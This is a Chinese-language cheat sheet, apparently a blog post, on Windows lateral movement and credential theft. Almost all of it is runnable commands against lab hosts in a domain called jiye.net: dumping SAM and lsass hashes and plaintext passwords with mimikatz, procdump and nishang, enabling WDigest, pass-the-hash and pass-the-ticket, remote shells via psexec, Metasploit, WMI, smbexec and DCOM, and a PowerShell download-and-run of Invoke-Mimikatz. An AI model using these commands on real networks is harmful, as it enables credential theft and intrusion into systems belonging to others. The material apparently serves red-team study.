0x01.Windows常用远程连接
1.IPC
利用条件,开启139、445端口,没有关闭默认共享
1 | C:\Users\Administrator>net use \\10.10.10.20\ipc$ "11" /user:administrator |
2.windows自带工具获取信息
前提是建立ipc$连接
1 | C:\Users\Administrator>dir \\10.10.10.20\c$ |
3.计划任务
01.at命令(server 2008之前)
1 | net time \\10.10.10.20 #查看系统时间 |
02.schtasks命令(server 2008之后)
1 | schtasks /create /s 10.10.10.20 /tn demo /sc onstart /tr c:\calc.bat /ru system /f #创建一个demo计划任务 |
0x02.windows系统散列值获取
LM Hash与NTLM Hash
LM Hash一共14位,server 2003以后使用NTLM Hash
1.Getpassword
1 | Getpassword.exe |
2.PwDump7
1 | PwDump7.exe |
3.QuarksPwDump
1 | QuarksPwDump.exe -h |
4.通过SAM和system文件获取密码
(1)导出
1 | reg save hklm\sam sam.hive |
(2)mimikatz获取hash
1 | lsadump::sam /sam:sam.hive /system:system.hive #sam.hive与system.hive在mimikatz目录下 |
(3)mimikatz直接获取本地SAM
1 | privilege::debugtoken::elevate #提权至systemlsadump::sam #获取本地SAMsekurlsa::logonpasswords #获取明文密码NTLM Hash |
(4)minikatz在线读取SAM文件
1 | mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" |
5.mimikatz离线读取lsass.dmp
lsass.exe进程里面含有明文密码与散列值
找到lsass.exe进程,右键创建储存文件即可导出
导出文件位置:C:\Users\administrator\AppData\Local\Temp\lsass.exe
也可以使用procdump.exe导出lsass.dmp文件,prodump为微软官方工具不会被查杀
1 | procdump64.exe -accepteula -ma lsass.exe lsass.dmp |
mimikatz获取lsass.dmp中的散列值
1 | sekurlsa::minidump lsass.dmp #导入sekurlsa::logonpasswords full #获取 |
6.powershell对散列值进行dump
nishang脚本
1 | PS C:\> Import-Module .\Get-PassHashes.ps1PS C:\> Get-PassHashesAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::administration:1000:aad3b435b51404eeaad3b435b51404ee:ae0597dc61a5c66b3a0600c60044c448::: |
7.powershell远程加载mimikatz获取密码与散列值
1 | powershell IEX (New-Object Net.WebClient).DownloadString('.\Invoke-Mimikatz.ps1');Invoke-Mimikatz |
8.单机密码抓取
server 2012以上默认关闭Wdigest功能,server 2012以下版本如果安装了KB2871997也无法获取
开启Wdigest的两种方法
(1)使用reg add命令
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #开启reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f #关闭 |
(2)powershell
1 | Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0 |
0x03.哈希传递
1.使用NTLM Hash进行哈希传递
环境
域名:jiye.net
IP:10.10.10.10
用户名:administrator
NTLM Hash:ae0597dc61a5c66b3a0600c60044c448
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:jiye.net /ntlm:ae0597dc61a5c66b3a0600c60044c448" |
在弹出的system cmd输入
1 | dir \\DC\C$ #列出域控目标文件夹 |
2.使用AES-256密钥进行哈希传递
目标系统安装KB2871997
0x04.票据传递
1.mimikatz进行票据传递
(1)导出内存中的票据
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" |
(2)清除内存中票据
1 | kerberos::purge |
(3)将高权限票据注入内存
1 | kerberos::ptt c:\mimikatz\tickets\[0;24329]-2-0-40e10000-Administrator@krbtgt-JIYE.NET.kirbi |
(4)列出目标文件夹
1 | dir \\DC\C$ |
2.kekeo进行票据传递
环境
域名:jiye.net
IP:10.10.10.10
用户名:administrator
NTLM Hash:ae0597dc61a5c66b3a0600c60044c448
(1)生成票据
1 | kekeo.exe "tgt::ask /user:administrator /domain:jiye.net /ntlm:ae0597dc61a5c66b3a0600c60044c448" |
(2)清除内存中票据
1 | kerberos::purgeklist purge #window自带 |
(3)导入票据
1 | kerberos::ptt C:\TGT_administrator@JIYE.NET_krbtgt~jiye.net@JIYE.NET.kirbi |
(4)列出目标文件夹
1 | dir \\DC\C$ |
0x05.psexec的使用
1.PsTools工具包中的psexec
(1)获取system shell(需要建立ipc$连接)
1 | psexec.exe -accepteula \\10.10.10.10 -s cmd.exe |
(2)获取administrator shell
1 | psexec.exe -accepteula \\10.10.10.10 cmd.exe |
(3)没有建立ipc$连接的使用方法
1 | psexec.exe -accepteula \\10.10.10.10 -u administrator -p 11 cmd.exe |
(4)命令回显
1 | psexec.exe -accepteula \\10.10.10.10 -s cmd.exe /c "ipconfig" |
2.msf 中的psexec
1 | msf6 > use exploit/windows/smb/psexecmsf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.10rhosts => 10.10.10.10msf6 exploit(windows/smb/psexec) > set smbdomain jiye.netsmbdomain => jiye.netmsf6 exploit(windows/smb/psexec) > set smbuser administratorsmbuser => administratormsf6 exploit(windows/smb/psexec) > set smbpass 11smbpass => 11msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.130lhost => 10.10.10.130msf6 exploit(windows/smb/psexec) >run |
0x08.WMIC的使用
1.Windows系统自带
1 | wmic /node:10.10.10.10 /user:administrator /password:11 process call create "cmd.exe /c ipconfig > c:\ip.txt"type \\10.10.10.10\c$\ip.txt |
2.impacket工具包
主要用于Linux向window移动
1 | wmiexec.py administrator:11@10.10.10.10 |
3.wmiexec.vbs调用wmi
(1)获取system shell
1 | cscript.exe //nologo wmiexec.vbs /shell 10.10.10.10 administrator 11 |
(2)命令回显
1 | cscript.exe wmiexec.vbs /cmd 10.10.10.10 administrator 11 "ipconfig" |
4.Invoke-WmiCommand.ps1
1 | User="jiye\administrator" #目标系统用户名$Password=ConvertTo-SecureString -String "11" -AsPlainText -Force #目标系统密码$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password #整合$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 10.10.10.10 #执行$Remote.PaylaodOutput #输出 |
5.Invoke-WMIMethod
Powershell自带
1 | User="jiye\administrator" #目标系统用户名$Password=ConvertTo-SecureString -String "11" -AsPlainText -Force #目标系统密码$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password #整合Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "10.10.10.10" -Credential $Cred #运行calc |
0x09.smbexec
1.C++版
2.impacket版
1 | smbexec_impacket.exe jiye/administrator:11@10.10.10.10 |
3.linux安装版
0x10.DCOM的使用
1.powershell获取DCOM程序列表
1 | Get-CimInstance Win32_DCOMApplication #server 2012版本以上Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication #win 7、server 2008等 |
2.DCOM执行系统命令
运行calc.exe,同理将calc.exe换成恶意程序即可
1 | com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized") |
3.DCOM在远程主机上执行命令
环境
域控:DC(jiye.net)
IP:10.10.10.10
user:administrator
pass:11
成员服务器:WIN7
IP:10.10.10.20
user:DC1
pass:11
(1)首先建立ipc$连接
1 | net use \\10.10.10.10 "11" /user:jiye\administrator |
(2)调用MMC20.Application执行远程命令
1 | com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.20"))$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized") |
(3)调用{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
1 | com=[type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.20")$obj=[System.Activator]::CreateInstance($com)$item=$obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) |